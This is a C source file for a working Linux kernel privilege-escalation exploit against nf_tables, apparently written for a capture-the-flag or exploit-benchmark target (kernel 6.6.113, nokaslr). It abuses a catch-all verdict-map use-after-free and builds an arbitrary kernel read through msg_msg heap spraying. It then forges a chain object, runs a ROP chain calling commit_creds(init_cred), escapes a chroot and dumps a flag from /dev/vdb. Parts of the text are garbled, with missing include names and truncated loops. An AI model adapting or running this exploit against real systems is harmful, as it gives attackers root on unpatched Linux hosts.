#define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef NFT_SET_ELEM_CATCHALL #define NFT_SET_ELEM_CATCHALL 0x2 #endif #ifndef NLA_TYPE_MASK #define NLA_TYPE_MASK (~(NLA_F_NESTED | NLA_F_NET_BYTEORDER)) #endif #ifndef NLA_OK #define NLA_OK(nla,len) ((len)>=sizeof(struct nlattr) && (nla)->nla_len>=sizeof(struct nlattr) && (nla)->nla_len<=(len)) #define NLA_NEXT(nla,len) ((len)-=NLA_ALIGN((nla)->nla_len),(struct nlattr*)(((char*)(nla))+NLA_ALIGN((nla)->nla_len))) #endif /* kernel addresses (6.6.113, nokaslr) */ #define INIT_NET_ADDR 0xffffffff84e2d180UL #define NF_TABLES_NET_ID_ADDR 0xffffffff8419da34UL #define MODPROBE_PATH_ADDR 0xffffffff83f63e60UL #define INIT_CRED_ADDR 0xffffffff83e72f20UL #define COMMIT_CREDS_ADDR 0xffffffff811ffb40UL #define POP_RDI_RET 0xffffffff81160da4UL #define PIVOT_GADGET 0xffffffff81fef218UL #define SWAPGS_RESTORE 0xffffffff826018e6UL #define NET_OFF_GEN 0xac0 #define NET_OFF_LIST 0x20 #define NFTABLES_PERNET_TABLES 0x0 #define TABLE_OFF_CHAINS 0x98 #define CHAIN_OFF_LIST 0x20 #define CHAIN_OFF_HANDLE 0x48 #define CHAIN_OFF_USE 0x50 #define CHAIN_OFF_NAME 0x58 /* ---------- netlink buffer ---------- */ struct nlbuf { unsigned char data[262144]; int len; }; static uint32_t g_seq=1; static void nb_init(struct nlbuf *b){ memset(b,0,sizeof(*b)); } static void batch_begin(struct nlbuf *b){ struct nlmsghdr *nlh=(void*)(b->data+b->len); struct nfgenmsg *nfg; nlh->nlmsg_len=NLMSG_LENGTH(sizeof(*nfg)); nlh->nlmsg_type=NFNL_MSG_BATCH_BEGIN; nlh->nlmsg_flags=NLM_F_REQUEST; nlh->nlmsg_seq=g_seq++; nfg=NLMSG_DATA(nlh); nfg->nfgen_family=AF_UNSPEC; nfg->version=NFNETLINK_V0; nfg->res_id=htons(NFNL_SUBSYS_NFTABLES); b->len+=NLMSG_ALIGN(nlh->nlmsg_len); } static void batch_end(struct nlbuf *b){ struct nlmsghdr *nlh=(void*)(b->data+b->len); struct nfgenmsg *nfg; nlh->nlmsg_len=NLMSG_LENGTH(sizeof(*nfg)); nlh->nlmsg_type=NFNL_MSG_BATCH_END; nlh->nlmsg_flags=NLM_F_REQUEST; nlh->nlmsg_seq=g_seq++; nfg=NLMSG_DATA(nlh); nfg->nfgen_family=AF_UNSPEC; nfg->version=NFNETLINK_V0; nfg->res_id=htons(NFNL_SUBSYS_NFTABLES); b->len+=NLMSG_ALIGN(nlh->nlmsg_len); } static struct nlmsghdr *nft_begin(struct nlbuf *b,uint16_t mt,uint16_t flags,uint8_t fam){ struct nlmsghdr *nlh=(void*)(b->data+b->len); struct nfgenmsg *nfg; nlh->nlmsg_len=NLMSG_LENGTH(sizeof(*nfg)); nlh->nlmsg_type=(NFNL_SUBSYS_NFTABLES<<8)|mt; nlh->nlmsg_flags=NLM_F_REQUEST|NLM_F_ACK|flags; nlh->nlmsg_seq=g_seq++; nfg=NLMSG_DATA(nlh); nfg->nfgen_family=fam; nfg->version=NFNETLINK_V0; nfg->res_id=0; return nlh; } static void nft_end(struct nlbuf *b,struct nlmsghdr *nlh){ b->len+=NLMSG_ALIGN(nlh->nlmsg_len); } static void nla_add(struct nlmsghdr *nlh,uint16_t type,const void *data,uint16_t len){ struct nlattr *nla=(void*)((char*)nlh+NLMSG_ALIGN(nlh->nlmsg_len)); nla->nla_type=type; nla->nla_len=NLA_HDRLEN+len; if(data&&len) memcpy((char*)nla+NLA_HDRLEN,data,len); nlh->nlmsg_len=NLMSG_ALIGN(nlh->nlmsg_len)+NLA_ALIGN(nla->nla_len); } static void nla_add_str(struct nlmsghdr *nlh,uint16_t type,const char *s){ nla_add(nlh,type,s,strlen(s)+1); } static void nla_add_bin(struct nlmsghdr *nlh,uint16_t type,const void *s,uint16_t n){ nla_add(nlh,type,s,n); } static void nla_add_u32(struct nlmsghdr *nlh,uint16_t type,uint32_t v){ v=htonl(v); nla_add(nlh,type,&v,4); } static void nla_add_u64(struct nlmsghdr *nlh,uint16_t type,uint64_t v){ v=htobe64(v); nla_add(nlh,type,&v,8); } static int nla_nest_start(struct nlmsghdr *nlh,uint16_t type){ int off=NLMSG_ALIGN(nlh->nlmsg_len); struct nlattr *nla=(void*)((char*)nlh+off); nla->nla_type=type|NLA_F_NESTED; nla->nla_len=NLA_HDRLEN; nlh->nlmsg_len=off+NLA_HDRLEN; return off; } static void nla_nest_end(struct nlmsghdr *nlh,int off){ struct nlattr *nla=(void*)((char*)nlh+off); nla->nla_len=NLMSG_ALIGN(nlh->nlmsg_len)-off; } /* ---------- namespaces ---------- */ static void write_file(const char *path,const char *data){ int fd=open(path,O_WRONLY); if(fd>=0){ if(write(fd,data,strlen(data))<0){} close(fd);} } static int fd_t=-1, fd_h=-1; static void setup_userns_and_netns(void){ uid_t uid=getuid(); gid_t gid=getgid(); char buf[256]; if(unshare(CLONE_NEWUSER)<0) err(1,"unshare userns"); write_file("/proc/self/setgroups","deny"); snprintf(buf,sizeof(buf),"0 %d 1",uid); write_file("/proc/self/uid_map",buf); snprintf(buf,sizeof(buf),"0 %d 1",gid); write_file("/proc/self/gid_map",buf); /* create T */ if(unshare(CLONE_NEWNET)<0) err(1,"unshare net T"); fd_t=open("/proc/self/ns/net",O_RDONLY); if(fd_t<0) err(1,"open ns T"); /* create H */ if(unshare(CLONE_NEWNET)<0) err(1,"unshare net H"); fd_h=open("/proc/self/ns/net",O_RDONLY); if(fd_h<0) err(1,"open ns H"); /* back to T */ if(setns(fd_t,CLONE_NEWNET)<0) err(1,"setns T"); cpu_set_t set; CPU_ZERO(&set); CPU_SET(0,&set); sched_setaffinity(0,sizeof(set),&set); } /* ---------- netlink sockets ---------- */ static int nl_fd_t=-1, nl_fd_h=-1; static int nl_open_ns(int nsfd){ if(setns(nsfd,CLONE_NEWNET)<0) err(1,"setns open"); int fd=socket(AF_NETLINK,SOCK_RAW,NETLINK_NETFILTER); if(fd<0) err(1,"socket"); struct sockaddr_nl sa={.nl_family=AF_NETLINK}; if(bind(fd,(void*)&sa,sizeof(sa))<0) err(1,"bind"); struct timeval tv={.tv_sec=0,.tv_usec=200000}; setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,&tv,sizeof(tv)); return fd; } static void nl_send_fd(int fd,struct nlbuf *b){ struct sockaddr_nl sa={.nl_family=AF_NETLINK}; if(sendto(fd,b->data,b->len,0,(void*)&sa,sizeof(sa))<0) err(1,"sendto"); } static int nl_drain_fd(int fd){ unsigned char rbuf[65536]; int last=0; for(;;){ ssize_t n=recv(fd,rbuf,sizeof(rbuf),MSG_DONTWAIT); if(n<=0) break; struct nlmsghdr *h=(void*)rbuf; int rem=n; while(NLMSG_OK(h,rem)){ if(h->nlmsg_type==NLMSG_ERROR){ struct nlmsgerr *e=NLMSG_DATA(h); if(e->error) last=e->error; } h=NLMSG_NEXT(h,rem); } } return last; } static int nl_batch_fd(int fd,struct nlbuf *b,const char *label){ nl_send_fd(fd,b); usleep(15000); int e=nl_drain_fd(fd); if(e) printf("[!] %s: err %d (%s)\n",label,e,strerror(-e)); else printf("[+] %s ok\n",label); return e; } /* ---------- object names ---------- */ static const char *T_TABLE="t"; static const char *T_BCHAIN="bc"; static const char *T_TCHAIN="tc"; static const char *T_VMAP="vm"; static const char *H_TABLE="h"; static const char *H_CHAINB="hb"; static const char *H_CHAINC="hc"; static const char *H_CHAIND="hd"; /* Create H: table + chains B,C,D (placeholders) */ static void setup_h(void){ struct nlbuf b; struct nlmsghdr *nlh; nb_init(&b); batch_begin(&b); nlh=nft_begin(&b,NFT_MSG_NEWTABLE,NLM_F_CREATE,NFPROTO_IPV4); nla_add_str(nlh,NFTA_TABLE_NAME,H_TABLE); nft_end(&b,nlh); const char *hnames[3]={H_CHAINB,H_CHAINC,H_CHAIND}; for(int hi=0;hi<3;hi++){ nlh=nft_begin(&b,NFT_MSG_NEWCHAIN,NLM_F_CREATE,NFPROTO_IPV4); nla_add_str(nlh,NFTA_CHAIN_TABLE,H_TABLE); nla_add_str(nlh,NFTA_CHAIN_NAME,hnames[hi]); nft_end(&b,nlh); } batch_end(&b); nl_batch_fd(nl_fd_h,&b,"setup_h"); } /* Create T: table + base chain + vmap + target chain */ static void setup_t(void){ struct nlbuf b; struct nlmsghdr *nlh; nb_init(&b); batch_begin(&b); nlh=nft_begin(&b,NFT_MSG_NEWTABLE,NLM_F_CREATE,NFPROTO_IPV4); nla_add_str(nlh,NFTA_TABLE_NAME,T_TABLE); nft_end(&b,nlh); nlh=nft_begin(&b,NFT_MSG_NEWCHAIN,NLM_F_CREATE,NFPROTO_IPV4); nla_add_str(nlh,NFTA_CHAIN_TABLE,T_TABLE); nla_add_str(nlh,NFTA_CHAIN_NAME,T_BCHAIN); { int h=nla_nest_start(nlh,NFTA_CHAIN_HOOK); nla_add_u32(nlh,NFTA_HOOK_HOOKNUM,NF_INET_LOCAL_OUT); nla_add_u32(nlh,NFTA_HOOK_PRIORITY,0); nla_nest_end(nlh,h); } nla_add_str(nlh,NFTA_CHAIN_TYPE,"filter"); nla_add_u32(nlh,NFTA_CHAIN_POLICY,NF_ACCEPT); nft_end(&b,nlh); nlh=nft_begin(&b,NFT_MSG_NEWSET,NLM_F_CREATE,NFPROTO_IPV4); nla_add_str(nlh,NFTA_SET_TABLE,T_TABLE); nla_add_str(nlh,NFTA_SET_NAME,T_VMAP); nla_add_u32(nlh,NFTA_SET_KEY_TYPE,NFT_DATA_VALUE); nla_add_u32(nlh,NFTA_SET_KEY_LEN,4); nla_add_u32(nlh,NFTA_SET_FLAGS,NFT_SET_MAP); nla_add_u32(nlh,NFTA_SET_DATA_TYPE,NFT_DATA_VERDICT); nla_add_u32(nlh,NFTA_SET_ID,0x100); nft_end(&b,nlh); nlh=nft_begin(&b,NFT_MSG_NEWCHAIN,NLM_F_CREATE,NFPROTO_IPV4); nla_add_str(nlh,NFTA_CHAIN_TABLE,T_TABLE); nla_add_str(nlh,NFTA_CHAIN_NAME,T_TCHAIN); nft_end(&b,nlh); batch_end(&b); nl_batch_fd(nl_fd_t,&b,"setup_t"); } static void add_catchall(void){ struct nlbuf b; struct nlmsghdr *nlh; nb_init(&b); batch_begin(&b); nlh=nft_begin(&b,NFT_MSG_NEWSETELEM,NLM_F_CREATE,NFPROTO_IPV4); nla_add_str(nlh,NFTA_SET_ELEM_LIST_TABLE,T_TABLE); nla_add_str(nlh,NFTA_SET_ELEM_LIST_SET,T_VMAP); { int elems=nla_nest_start(nlh,NFTA_SET_ELEM_LIST_ELEMENTS); int elem=nla_nest_start(nlh,NFTA_LIST_ELEM); nla_add_u32(nlh,NFTA_SET_ELEM_FLAGS,NFT_SET_ELEM_CATCHALL); int data=nla_nest_start(nlh,NFTA_SET_ELEM_DATA); int verd=nla_nest_start(nlh,NFTA_DATA_VERDICT); nla_add_u32(nlh,NFTA_VERDICT_CODE,NFT_GOTO); nla_add_str(nlh,NFTA_VERDICT_CHAIN,T_TCHAIN); nla_nest_end(nlh,verd); nla_nest_end(nlh,data); nla_nest_end(nlh,elem); nla_nest_end(nlh,elems); } nft_end(&b,nlh); batch_end(&b); nl_batch_fd(nl_fd_t,&b,"add_catchall"); } static void trigger_abort(void){ struct nlbuf b; struct nlmsghdr *nlh; nb_init(&b); batch_begin(&b); nlh=nft_begin(&b,NFT_MSG_DELSET,0,NFPROTO_IPV4); nla_add_str(nlh,NFTA_SET_TABLE,T_TABLE); nla_add_str(nlh,NFTA_SET_NAME,T_VMAP); nft_end(&b,nlh); nlh=nft_begin(&b,NFT_MSG_NEWRULE,NLM_F_CREATE|NLM_F_APPEND,NFPROTO_IPV4); nla_add_str(nlh,NFTA_RULE_TABLE,T_TABLE); nla_add_str(nlh,NFTA_RULE_CHAIN,"__no_such_chain__"); nft_end(&b,nlh); batch_end(&b); nl_batch_fd(nl_fd_t,&b,"trigger_abort"); } static void add_lookup_rule(void){ struct nlbuf b; struct nlmsghdr *nlh; nb_init(&b); batch_begin(&b); nlh=nft_begin(&b,NFT_MSG_NEWRULE,NLM_F_CREATE|NLM_F_APPEND,NFPROTO_IPV4); nla_add_str(nlh,NFTA_RULE_TABLE,T_TABLE); nla_add_str(nlh,NFTA_RULE_CHAIN,T_BCHAIN); { int exprs=nla_nest_start(nlh,NFTA_RULE_EXPRESSIONS); int le=nla_nest_start(nlh,NFTA_LIST_ELEM); nla_add_str(nlh,NFTA_EXPR_NAME,"lookup"); int ed=nla_nest_start(nlh,NFTA_EXPR_DATA); nla_add_str(nlh,NFTA_LOOKUP_SET,T_VMAP); nla_add_u32(nlh,NFTA_LOOKUP_SREG,NFT_REG_1); nla_add_u32(nlh,NFTA_LOOKUP_DREG,NFT_REG_VERDICT); nla_nest_end(nlh,ed); nla_nest_end(nlh,le); nla_nest_end(nlh,exprs); } nft_end(&b,nlh); batch_end(&b); nl_batch_fd(nl_fd_t,&b,"add_lookup_rule"); } static void del_target_chain(void){ struct nlbuf b; struct nlmsghdr *nlh; nb_init(&b); batch_begin(&b); nlh=nft_begin(&b,NFT_MSG_DELCHAIN,0,NFPROTO_IPV4); nla_add_str(nlh,NFTA_CHAIN_TABLE,T_TABLE); nla_add_str(nlh,NFTA_CHAIN_NAME,T_TCHAIN); nft_end(&b,nlh); batch_end(&b); nl_batch_fd(nl_fd_t,&b,"del_target_chain"); } /* rename chain in H (or T) by handle to given binary name (length <=255) */ static int rename_chain(int fd,const char *table,uint64_t handle,const unsigned char *name,int nlen){ struct nlbuf b; struct nlmsghdr *nlh; nb_init(&b); batch_begin(&b); nlh=nft_begin(&b,NFT_MSG_NEWCHAIN,0,NFPROTO_IPV4); nla_add_str(nlh,NFTA_CHAIN_TABLE,table); nla_add_u64(nlh,NFTA_CHAIN_HANDLE,handle); nla_add_bin(nlh,NFTA_CHAIN_NAME,name,nlen+1); /* include trailing NUL */ nft_end(&b,nlh); batch_end(&b); return nl_batch_fd(fd,&b,"rename_chain"); } /* ---------- msg queues (unique types) ---------- */ #define NQ 12 #define PERQ 300 #define NTOTAL (NQ*PERQ) #define MT_BASE 0x1000000ULL static int qids[NQ]; static int msg_q[NTOTAL]; static uint64_t msg_type[NTOTAL]; static int msg_used[NTOTAL]; static void msg_setup(void){ for(int i=0;i=0){} memset(msg_used,0,sizeof(msg_used)); } /* free all messages except idx_keep, then free idx_keep last */ static int msg_free_keep_last(int idx_keep){ struct msgbuf50 m; for(int idx=0;idx=NTOTAL||!msg_used[idx_keep]) return -1; ssize_t r=msgrcv(qids[msg_q[idx_keep]],&m,sizeof(m.mtext),(long)msg_type[idx_keep],IPC_NOWAIT|MSG_NOERROR); return (r>=0)?0:-1; } /* ---------- GETSETELEM catchall -> chain name string ---------- */ static int get_catchall_name(int fd,unsigned char *out,int outlen){ struct nlbuf b; struct nlmsghdr *nlh; nb_init(&b); nlh=nft_begin(&b,NFT_MSG_GETSETELEM,0,NFPROTO_IPV4); nla_add_str(nlh,NFTA_SET_ELEM_LIST_TABLE,T_TABLE); nla_add_str(nlh,NFTA_SET_ELEM_LIST_SET,T_VMAP); { int elems=nla_nest_start(nlh,NFTA_SET_ELEM_LIST_ELEMENTS); int elem=nla_nest_start(nlh,NFTA_LIST_ELEM); nla_add_u32(nlh,NFTA_SET_ELEM_FLAGS,NFT_SET_ELEM_CATCHALL); nla_nest_end(nlh,elem); nla_nest_end(nlh,elems); } nft_end(&b,nlh); nl_send_fd(fd,&b); unsigned char rbuf[65536]; int got=-1; for(int tries=0;tries<4;tries++){ ssize_t n=recv(fd,rbuf,sizeof(rbuf),0); if(n<=0) continue; struct nlmsghdr *h=(void*)rbuf; int rem=n; while(NLMSG_OK(h,rem)){ if(h->nlmsg_type!=NLMSG_ERROR && NFNL_MSG_TYPE(h->nlmsg_type)==NFT_MSG_NEWSETELEM){ unsigned char *p=(unsigned char*)NLMSG_DATA(h)+sizeof(struct nfgenmsg); int alen=h->nlmsg_len-NLMSG_LENGTH(sizeof(struct nfgenmsg)); struct nlattr *a; int r2=alen; for(a=(void*)p; NLA_OK(a,r2); a=NLA_NEXT(a,r2)){ if((a->nla_type&NLA_TYPE_MASK)==NFTA_SET_ELEM_LIST_ELEMENTS){ unsigned char *p2=(unsigned char*)a+NLA_HDRLEN; int rr=a->nla_len-NLA_HDRLEN; struct nlattr *a2; for(a2=(void*)p2; NLA_OK(a2,rr); a2=NLA_NEXT(a2,rr)){ if((a2->nla_type&NLA_TYPE_MASK)==NFTA_LIST_ELEM){ unsigned char *p3=(unsigned char*)a2+NLA_HDRLEN; int r3=a2->nla_len-NLA_HDRLEN; struct nlattr *a3; for(a3=(void*)p3; NLA_OK(a3,r3); a3=NLA_NEXT(a3,r3)){ if((a3->nla_type&NLA_TYPE_MASK)==NFTA_SET_ELEM_DATA){ unsigned char *p4=(unsigned char*)a3+NLA_HDRLEN; int r4=a3->nla_len-NLA_HDRLEN; struct nlattr *a4; for(a4=(void*)p4; NLA_OK(a4,r4); a4=NLA_NEXT(a4,r4)){ if((a4->nla_type&NLA_TYPE_MASK)==NFTA_DATA_VERDICT){ unsigned char *p5=(unsigned char*)a4+NLA_HDRLEN; int r5=a4->nla_len-NLA_HDRLEN; struct nlattr *a5; for(a5=(void*)p5; NLA_OK(a5,r5); a5=NLA_NEXT(a5,r5)){ if((a5->nla_type&NLA_TYPE_MASK)==NFTA_VERDICT_CHAIN){ int l=a5->nla_len-NLA_HDRLEN; if(l>outlen) l=outlen; memcpy(out,(unsigned char*)a5+NLA_HDRLEN,l); got=l; } } } } } } } } } } } h=NLMSG_NEXT(h,rem); } if(got>=0) break; } return got; } /* ---------- arbitrary read ---------- */ static int kread_once(uint64_t addr,unsigned char *out,int outlen){ msg_drain_all(); msg_spray_unique(addr); for(int i=0;i<3;i++){ int l=get_catchall_name(nl_fd_t,out,outlen); if(l>0) return l; usleep(2000); } return -1; } static uint64_t kread64(uint64_t addr){ unsigned char res[8]; int pos=0; while(pos<8){ unsigned char tmp[512]; int l=kread_once(addr+pos,tmp,sizeof(tmp)-1); if(l<=0){ printf("[!] kread64 failed at 0x%llx\n",(unsigned long long)(addr+pos)); return 0; } int slen=l-1; int n=slen < (8-pos) ? slen : (8-pos); memcpy(res+pos,tmp,n); pos+=n; if(pos<8){ res[pos]=0; pos++; } } uint64_t v; memcpy(&v,res,8); return v; } static int kread_buf(uint64_t addr,unsigned char *buf,int n){ int pos=0; while(pos0){ buf[n]=0; write(1,"FLAGSTART\n",10); write(1,buf,n); write(1,"\nFLAGEND\n",9); } close(fd); } /* chroot escape then try /dev/vdb */ mkdir("/tmp/esc",0755); if(chroot("/tmp/esc")==0){ for(int i=0;i<12;i++) chdir(".."); chroot("."); chdir("/"); int fd=open("/dev/vdb",O_RDONLY); if(fd>=0){ ssize_t n=read(fd,buf,sizeof(buf)-1); if(n>0){ buf[n]=0; write(1,"FLAGSTART2\n",11); write(1,buf,n); write(1,"\nFLAGEND2\n",10);} close(fd);} unlink("/tmp/vdb2"); if(mknod("/tmp/vdb2",S_IFBLK|0600,makedev(253,16))==0){ fd=open("/tmp/vdb2",O_RDONLY); if(fd>=0){ ssize_t n=read(fd,buf,sizeof(buf)-1); if(n>0){ buf[n]=0; write(1,"FLAGSTART3\n",11); write(1,buf,n); write(1,"\nFLAGEND3\n",10);} close(fd);} } } write(1,"WIN_DONE\n",9); _exit(0); } /* ---------- build fake ops / blob / chain ---------- */ static uint64_t g_B, g_C, g_A; static void build_fake_ops(unsigned char *buf,int n){ memset(buf,0x41,n); memcpy(buf,&(uint64_t){PIVOT_GADGET},8); } static void build_fake_blob(unsigned char *buf,int n,int k){ memset(buf,0x41,n); uint64_t zero=0; uint64_t sz=0x4141414141414141ULL; uint64_t dp=(0x100ULL<<1); /* is_last=0, dlen=0x100 */ memcpy(buf+k+0x00,&sz,8); memcpy(buf+k+0x08,&dp,8); memcpy(buf+k+0x10,&g_B,8); memcpy(buf+k+0x18,&zero,8); uint64_t *rop=(uint64_t*)(buf+k+0x20); int i=0; rop[i++]=POP_RDI_RET; rop[i++]=INIT_CRED_ADDR; rop[i++]=COMMIT_CREDS_ADDR; rop[i++]=SWAPGS_RESTORE; rop[i++]=0; /* frame[0] */ rop[i++]=0; /* frame[1] */ rop[i++]=(uint64_t)win; /* frame[2] rip */ rop[i++]=user_cs; /* frame[3] */ rop[i++]=user_rflags; /* frame[4] */ rop[i++]=user_rsp; /* frame[5] rsp */ rop[i++]=user_ss; /* frame[6] ss */ } static void build_fake_chain(unsigned char *buf,int n){ memset(buf,0,n); memcpy(buf+0x00,&g_C,8); memcpy(buf+0x08,&g_C,8); uint32_t use=0; memcpy(buf+0x50,&use,4); uint64_t nm=MODPROBE_PATH_ADDR; memcpy(buf+0x58,&nm,8); } /* ---------- main ---------- */ int main(){ setvbuf(stdout,NULL,_IONBF,0); printf("[*] exploit start\n"); save_state(); /* dedicated user stack for win() */ void *stk=mmap(NULL,0x8000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0); if(stk==MAP_FAILED) err(1,"mmap stack"); user_rsp=((uint64_t)stk+0x8000-0x100)&~0xfULL; setup_userns_and_netns(); printf("[*] userns+T+H created\n"); /* open netlink sockets in each ns */ nl_fd_t=nl_open_ns(fd_t); nl_fd_h=nl_open_ns(fd_h); if(setns(fd_t,CLONE_NEWNET)<0) err(1,"setns T main"); printf("[*] netlink sockets: T=%d H=%d\n",nl_fd_t,nl_fd_h); msg_setup(); setup_h(); setup_t(); add_catchall(); trigger_abort(); add_lookup_rule(); del_target_chain(); printf("[*] waiting for RCU/workqueue...\n"); usleep(400000); printf("[*] leak phase\n"); uint64_t T = kread64(INIT_NET_ADDR+NET_OFF_LIST) - NET_OFF_LIST; printf("[+] T netns = 0x%llx\n",(unsigned long long)T); uint64_t H = kread64(T+NET_OFF_LIST) - NET_OFF_LIST; printf("[+] H netns = 0x%llx\n",(unsigned long long)H); uint32_t nft_id=(uint32_t)kread64(NF_TABLES_NET_ID_ADDR); printf("[+] nft_id = %u\n",nft_id); uint64_t genT=kread64(T+NET_OFF_GEN); uint64_t pernetT=kread64(genT+(uint64_t)nft_id*8); uint64_t tableT=kread64(pernetT+NFTABLES_PERNET_TABLES); uint64_t setT=kread64(tableT+0xa8); uint64_t catchallT=kread64(setT+0xe0); uint64_t elemT=kread64(catchallT+0x20); printf("[+] T gen=0x%llx pernet=0x%llx table=0x%llx set=0x%llx catchall=0x%llx elem=0x%llx\n", (unsigned long long)genT,(unsigned long long)pernetT,(unsigned long long)tableT, (unsigned long long)setT,(unsigned long long)catchallT,(unsigned long long)elemT); unsigned char ebuf[0x100]; memset(ebuf,0,sizeof(ebuf)); if(kread_buf(elemT,ebuf,sizeof(ebuf))==0){ printf("[*] elem bytes: "); for(int i=0;i<0x60;i++) printf("%02x",ebuf[i]); printf("\n"); uint64_t Aval=0; for(int i=0;i<0xf0;i+=4){ uint32_t v; memcpy(&v,ebuf+i,4); if(v==0xfffffffc){ uint64_t p; memcpy(&p,ebuf+i+8,8); Aval=p; printf("[+] found verdict at +0x%x chain=0x%llx\n",i,(unsigned long long)p); break; } } g_A=Aval; printf("[+] A (target chain) = 0x%llx\n",(unsigned long long)Aval); } uint64_t genH=kread64(H+NET_OFF_GEN); uint64_t pernetH=kread64(genH+(uint64_t)nft_id*8); uint64_t tableH=kread64(pernetH+NFTABLES_PERNET_TABLES); printf("[+] H gen=0x%llx pernet=0x%llx table=0x%llx\n",(unsigned long long)genH,(unsigned long long)pernetH,(unsigned long long)tableH); uint64_t chainB=kread64(tableH+TABLE_OFF_CHAINS)-CHAIN_OFF_LIST; printf("[+] chainB = 0x%llx\n",(unsigned long long)chainB); g_B=kread64(chainB+CHAIN_OFF_NAME); printf("[+] B (ops buf) = 0x%llx\n",(unsigned long long)g_B); uint64_t chainC=kread64(chainB+CHAIN_OFF_LIST)-CHAIN_OFF_LIST; uint64_t handleC=kread64(chainC+CHAIN_OFF_HANDLE); printf("[+] chainC = 0x%llx handle=0x%llx\n",(unsigned long long)chainC,(unsigned long long)handleC); uint64_t chainD=kread64(chainC+CHAIN_OFF_LIST)-CHAIN_OFF_LIST; uint64_t handleD=kread64(chainD+CHAIN_OFF_HANDLE); printf("[+] chainD = 0x%llx handle=0x%llx\n",(unsigned long long)chainD,(unsigned long long)handleD); /* Rename chain C until we get a blob buffer whose address+8 has nonzero low byte */ unsigned char fakeblob[256]; int k=8; int ok=0; for(int tries=0;tries<16;tries++){ memset(fakeblob,0,sizeof(fakeblob)); build_fake_blob(fakeblob,255,k); int e=rename_chain(nl_fd_h,H_TABLE,handleC,fakeblob,255); if(e){ printf("[!] rename C failed %d\n",e); continue; } g_C=kread64(chainC+CHAIN_OFF_NAME); printf("[*] C try %d: buf=0x%llx blob=0x%llx\n",tries,(unsigned long long)g_C,(unsigned long long)(g_C+k)); if(((g_C+k)&0xff)!=0){ ok=1; break; } } if(!ok){ printf("[!] could not get suitable C address\n"); return 1; } uint64_t blob_ptr=g_C+k; g_C=blob_ptr; printf("[+] final blob_ptr=0x%llx (k=%d)\n",(unsigned long long)g_C,k); /* Identify the msg_msg currently occupying A and free it last */ printf("[*] identifying msg at A=0x%llx\n",(unsigned long long)g_A); uint64_t mt=kread64(g_A+0x10); int target=(int)(mt-MT_BASE); printf("[*] mtype=0x%llx target_idx=%d used=%d\n",(unsigned long long)mt,target,(target>=0&&target=NTOTAL||!msg_used[target]){ printf("[!] could not identify message at A\n"); return 1; } if(msg_free_keep_last(target)!=0){ printf("[!] failed to free target msg last\n"); return 1; } printf("[+] A is now at freelist head\n"); /* debug: allocate exactly one message and see if it lands at A */ { struct msgbuf50 tm; memset(&tm,0,sizeof(tm)); tm.mtype=0x7777777; uint64_t ta=INIT_NET_ADDR+0x20; memcpy(tm.mtext+0x28,&ta,8); int sr=msgsnd(qids[0],&tm,sizeof(tm.mtext),IPC_NOWAIT); printf("[*] single test msgsnd=%d\n",sr); usleep(1000); unsigned char tb[256]; memset(tb,0,sizeof(tb)); int tl=get_catchall_name(nl_fd_t,tb,sizeof(tb)-1); printf("[*] single test read len=%d: ",tl); for(int i=0;iname should point to modprobe_path */ unsigned char nm[256]; memset(nm,0,sizeof(nm)); int l=get_catchall_name(nl_fd_t,nm,sizeof(nm)-1); printf("[*] verify name len=%d: ",l); for(int i=0;i0 && memcmp(nm,"/sbin/modprobe",14)==0){ verified=1; } if(verified) printf("[+] fake chain installed!\n"); else { printf("[!] fake chain verification failed; not triggering packet\n"); return 1; } /* bring up lo in T */ int us=socket(AF_INET,SOCK_DGRAM,0); struct ifreq ifr; memset(&ifr,0,sizeof(ifr)); strcpy(ifr.ifr_name,"lo"); if(ioctl(us,SIOCGIFFLAGS,&ifr)==0){ ifr.ifr_flags|=IFF_UP|IFF_RUNNING; ioctl(us,SIOCSIFFLAGS,&ifr); } /* trigger packet in T */ printf("[*] triggering packet\n"); struct sockaddr_in dst; memset(&dst,0,sizeof(dst)); dst.sin_family=AF_INET; dst.sin_port=htons(12345); dst.sin_addr.s_addr=htonl(0x7f000001); sendto(us,"AAAA",4,0,(void*)&dst,sizeof(dst)); printf("[*] sendto returned (no ROP?)\n"); sleep(1); return 0; }